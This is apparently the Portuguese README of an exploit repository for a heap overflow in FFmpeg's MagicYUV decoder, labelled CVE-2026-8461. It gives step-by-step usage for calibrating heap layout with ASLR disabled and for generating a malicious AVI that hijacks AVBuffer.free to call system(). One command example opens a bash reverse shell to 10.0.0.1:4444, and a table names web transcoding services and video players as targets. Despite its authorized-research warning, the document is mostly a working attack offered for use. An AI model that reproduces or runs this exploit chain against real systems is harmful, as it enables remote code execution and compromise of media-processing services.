
[!WARNING] Este repositório contém um PoC de exploit funcional para uma vulnerabilidade de corrupção de heap. Ele se destina exclusivamente à pesquisa de segurança autorizada, contextos de CTF e análise defensiva. Não o use contra sistemas que você não possui ou para os quais não tenha permissão explícita por escrito para testar.
Afetado: Decodificador MagicYUV do FFmpeg 8.0.1 (libavcodec/magicyuv.c)
Primitiva: Escrita OOB no heap → sequestro de AVBuffer.free → chamada a system()
magy_decode_slice() usa sheight (altura da fatia sem limitação) como limite do laço para escrever no plano de saída Cb/Cr, mas aloca o buffer usando a height limitada. Na última fatia de um frame especialmente elaborado, o laço escreve além do final da região alocada.
// magicyuv.c:291 — dst pointer is already at sheight×stride past buffer start
for (i = 0; i < avctx->width >> s->hshift[plane]; i++)
dst[i] = get_vlc2(...); // OOB write when sheight > height
A escrita fora dos limites atinge uma struct AVBuffer alocada posteriormente. Ao controlar os bytes escritos, AVBuffer.free é sobrescrito com o endereço de system() e AVBuffer.opaque com o endereço da string de comando no heap. Quando o frame é liberado, av_buffer_unref() chama system(cmd).
Análise técnica completa: Inglês · 中文
Python >= 3.8
GDB >= 9.0
kernel.randomize_va_space = 0 (ASLR disabled — required for calibration)
Dependências Python: nenhuma (apenas stdlib).
sudo sysctl -w kernel.randomize_va_space=0
Build de depuração (compilado com -g, ex.: a partir do código-fonte com --enable-debug):
python3 auto_calibrate.py \
--ffmpeg /path/to/ffmpeg-debug \
--avi /tmp/exploit.avi \
-o calibration.json
Build de produção (biblioteca compartilhada sem símbolos, ex.: apt install ffmpeg ou --enable-shared personalizado):
python3 auto_calibrate_nosym.py \
--ffmpeg /path/to/ffmpeg \
--libpath /path/to/ffmpeg/lib \
--avi /tmp/exploit.avi \
-o calibration.json
O caminho de
--avideve ser idêntico entre a calibração e a entrega do exploit. Alterar o comprimento da string do caminho desloca o layout do heap e invalida a calibração.
python3 exploit_cve_2026_8461.py \
--calibration calibration.json \
--cmd "id > /tmp/pwned" \
-o /tmp/exploit.avi
# Debug build (statically linked)
/path/to/ffmpeg-debug -i /tmp/exploit.avi -f null -
# Production build (shared-library)
LD_LIBRARY_PATH=/path/to/lib /path/to/ffmpeg -i /tmp/exploit.avi -f null -
# System-installed FFmpeg (apt/yum)
ffmpeg -i /tmp/exploit.avi -f null -
Saída esperada: o comando é executado e, em seguida, o processo trava com corrupted size vs. prev_size.
cat /tmp/pwned
# uid=1000(user) gid=1000(user) groups=...

python3 exploit_cve_2026_8461.py \
--calibration calibration.json \
--cmd "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
-o /tmp/exploit.avi
Target FFmpeg binary
│
├─ Has debug symbols? (file ffmpeg | grep debug_info)
│ └─ YES → auto_calibrate.py
│
└─ Stripped / production
│
├─ Dynamically linked? (ldd ffmpeg | grep libavutil)
│ └─ YES → auto_calibrate_nosym.py
│
└─ Statically linked + fully stripped
└─ Neither script applies
(requires LD_PRELOAD malloc hook approach)
auto_calibrate_nosym.py funciona assim:
av_buffer_create (sempre presente no .dynsym de libavutil.so) para capturar os ponteiros de dados Cb e Cr sem precisar de símbolos de nível de código-fonte.AVBuffer e extrair o endereço de system().O exploit é acionado quando o alvo decodifica o frame de vídeo (não apenas o inspeciona):
Para demonstrar a vulnerabilidade sem executar um comando:
python3 exploit_cve_2026_8461.py --baseline -o baseline.avi
ffmpeg -i baseline.avi -f null -
# crashes with: free(): invalid pointer or corrupted size vs. prev_size
AVBuffer cai a menos de 640 bytes do endereço inicial da escrita OOB no plano Cb. Em aarch64, a ordem de alocação da glibc coloca o AVBuffer além desse intervalo (o chunk adjacente é o buffer Cr de ~10 KB), então a escrita OOB não consegue alcançá-lo com a geometria de frame atual. Portar para aarch64 exige perfilar o layout de heap do aarch64 e ajustar a geometria do frame de acordo.kernel.randomize_va_space=0). Com o ASLR ativado, os endereços de heap são randomizados a cada execução e a calibração não se aplica. Uma primitiva de vazamento de informações (info leak) seria necessária para estender isso a alvos com ASLR ativado.auto_calibrate_nosym.py: Requer um FFmpeg com ligação dinâmica e libavutil.so acessível (nos caminhos do sistema ou via --libpath).| Arquivo | Descrição |
|---|
exploit_cve_2026_8461.py | Gerador de AVI de exploit — cria o bitstream MagicYUV malicioso |
auto_calibrate.py | Auto-calibração para builds de depuração (requer símbolos de depuração -g) |
auto_calibrate_nosym.py | Auto-calibração para builds de produção (sem símbolos, biblioteca compartilhada) |
CVE-2026-8461_Analysis_EN.md | Análise completa da vulnerabilidade (Inglês) |
CVE-2026-8461_Analysis.md | Análise completa da vulnerabilidade (中文) |
ffmpeg_prod | Binário de produção FFmpeg 8.0.1 sem símbolos para testes locais |
| Invocação | Dispara RCE |
|---|
ffmpeg -i evil.avi -f null - | Sim |
ffmpeg -i evil.avi -o out.mp4 | Sim |
| Serviço de transcodificação web (loop de decodificação do libavcodec) | Sim |
| Player de vídeo que usa o libavcodec | Sim |
ffmpeg -i evil.avi (sem saída especificada) | Não — o processo aborta antes de av_buffer_unref ser acionado |
ffprobe evil.avi | Não — caminho apenas de inspeção, sem decodificação completa |